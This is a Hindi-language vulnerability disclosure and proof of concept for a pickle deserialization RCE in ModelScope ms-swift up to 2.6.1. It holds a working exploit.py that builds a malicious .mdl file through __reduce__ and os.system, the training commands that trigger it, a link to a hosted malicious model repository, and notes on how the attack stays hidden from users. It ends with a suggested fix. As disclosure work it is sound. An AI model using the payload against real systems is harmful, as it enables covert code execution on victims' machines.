
CVE-2025-50472 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, ModelScope ms-swift के ModelFileSystemCache में दुर्भावनापूर्ण .mdl फ़ाइलों के माध्यम से एक deserialization RCE भेद्यता।
मैंने परीक्षण उद्देश्यों के लिए ModelScope पर एक दुर्भावनापूर्ण .mdl फ़ाइल वाला कोड रिपॉजिटरी अपलोड किया। इसका उपयोग सीधे परीक्षण के दौरान किया जा सकता है। लिंक है: https://www.modelscope.cn/models/HaoFan2024/ms-swift-test-fanhao/files
.mdl फ़ाइल में एम्बेडेड दुर्भावनापूर्ण कोड है, लेकिन ModelScope पर कोई सुरक्षा चेतावनी प्रदर्शित नहीं होती है।
PoC Code:
# Set up the environment
pip install ms-swift==2.6.1
pip install -r framework.txt # This requirements file is included in the modelscope/ms-swift repository
# When using the remote repository HaoFan2024/ms-swift-test-fanhao, the `.mdl` file will be downloaded directly.
# During model loading, the `.mdl` file is loaded using `pickle.load`, leading to Remote Code Execution (RCE).
CUDA_VISIBLE_DEVICES=0 swift sft \
--model_type qwen1half-0_5b-chat \
--model_id_or_path=HaoFan2024/ms-swift-test-fanhao \
--dataset blossom-math-zh \
--num_train_epochs 5 \
--sft_type lora \
--output_dir output \
--eval_steps 200
समस्या को पुन: उत्पन्न करने की प्रक्रिया इस प्रकार है:
मॉडल डाउनलोड किया जाता है
दुर्भावनापूर्ण कोड निष्पादित होने के बाद, प्रशिक्षण बिना किसी रुकावट के सामान्य रूप से जारी रहता है
दुर्भावनापूर्ण पेलोड सफलतापूर्वक निष्पादित किया जाता है
modelscope/ms-swift लाइब्रेरी 2.6.1 तक ModelFileSystemCache() वर्ग के load_model_meta() फ़ंक्शन के अंतर्गत अविश्वसनीय डेटा के डिसेरियलाइज़ेशन के माध्यम से मनमाना कोड निष्पादन के लिए असुरक्षित है। हमलावर एक दुर्भावनापूर्ण सीरियलाइज़्ड .mdl पेलोड तैयार करके, संभावित रूप से अविश्वसनीय स्रोतों से डेटा पर pickle.load() के उपयोग का शोषण करके मनमाना कोड और कमांड निष्पादित कर सकते हैं। यह भेद्यता पीड़ितों को सामान्य प्रशिक्षण प्रक्रिया के दौरान एक प्रतीत होने वाले हानिरहित चेकपॉइंट को लोड करने में धोखा देकर रिमोट कोड निष्पादन (RCE) की अनुमति देती है, जिससे हमलावर लक्ष्य मशीन पर मनमाना कोड निष्पादित कर सकते हैं।
ध्यान दें कि पेलोड फ़ाइल एक छिपी हुई फ़ाइल है, जिससे पीड़ित के लिए छेड़छाड़ का पता लगाना मुश्किल हो जाता है। अधिक महत्वपूर्ण बात, मॉडल प्रशिक्षण प्रक्रिया के दौरान, .mdl फ़ाइल लोड होने और मनमाना कोड निष्पादित करने के बाद, सामान्य प्रशिक्षण प्रक्रिया अप्रभावित रहती है, जिसका अर्थ है कि उपयोगकर्ता मनमाना कोड निष्पादन से अनजान रहता है।
भेद्यता का विस्तृत विवरण: यह भेद्यता अविश्वसनीय डेटा के असुरक्षित डिसेरियलाइज़ेशन के परिणामस्वरूप होती है। स्क्रिप्ट छिपी हुई कैश फ़ाइल को लोड करने के लिए pickle.load का उपयोग करती है और कोड निष्पादन के लिए असुरक्षित है।
इनपुट से असुरक्षित स्थिति तक कोड प्रवाह:
~/.cache/modelscope/hub/xx/xx के अंतर्गत संग्रहीत किया गया था, जहां मॉडल निर्देशिका में एक .mdl कैश फ़ाइल मौजूद थी, जिसमें मॉडल नाम जैसी बुनियादी जानकारी थी।caching.py स्क्रिप्ट ने .mdl फ़ाइल को डिसेरियलाइज़ किया, तो फ़ाइल में एम्बेडेड दुर्भावनापूर्ण कोड निष्पादित किया गया।इंजेक्शन बिंदु: यह भेद्यता उस बिंदु पर होती है जहां pickle.load को कॉल किया जाता है। GitHub Permalink: https://github.com/modelscope/ms-swift/blob/ab38bff0387a86fd9f068246c326ee7b0d5ed139/swift/hub/utils/caching.py#L141
सुझाए गए सुधार: कॉन्फ़िगरेशन फ़ाइलों (मॉडल फ़ाइलों के बजाय) को संभालते समय, मनमाना कोड निष्पादन के जोखिम को कम करने के लिए yaml.safe_load(yaml_file) या json.load जैसी सुरक्षित फ़ाइल पार्सिंग विधियों को अपनाने की सिफारिश की जाती है।
.mdl बनाने के लिए exploit.py चलाएँ:# exploit.py
import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ('mkdir HACKED',))
# .mdl
data = pickle.dumps(Exploit())
with open('.mdl', 'wb') as f:
f.write(data)
मॉडल निर्देशिका में मूल .mdl फ़ाइल को ऊपर उत्पन्न दुर्भावनापूर्ण फ़ाइल से बदलें।
जब प्रशिक्षण के दौरान स्थानीय मॉडल निर्देशिका को संदर्भित करने के लिए model_id_or_path पैरामीटर निर्दिष्ट किया जाता है, तो निर्दिष्ट पथ में एक छेड़छाड़ की गई .mdl फ़ाइल रिमोट कोड निष्पादन (RCE) का कारण बन सकती है।
महत्वपूर्ण बात, इस तरह का संशोधन सामान्य प्रशिक्षण कार्यप्रवाह को बाधित नहीं करता है, जिससे RCE हमला छिपा हुआ और उपयोगकर्ताओं के लिए पता लगाना मुश्किल हो जाता है।
CUDA_VISIBLE_DEVICES=0 swift sft --model_type qwen1half-0_5b-chat --model_id_or_path=/root/.cache/modelscope/hub/qwen/Qwen1___5-0___5B-Chat --dataset blossom-math-zh --num_train_epochs 5 --sft_type lora --output_dir output --eval_steps 200
Hao Fan(凡浩) and Yu Rong(戎誉)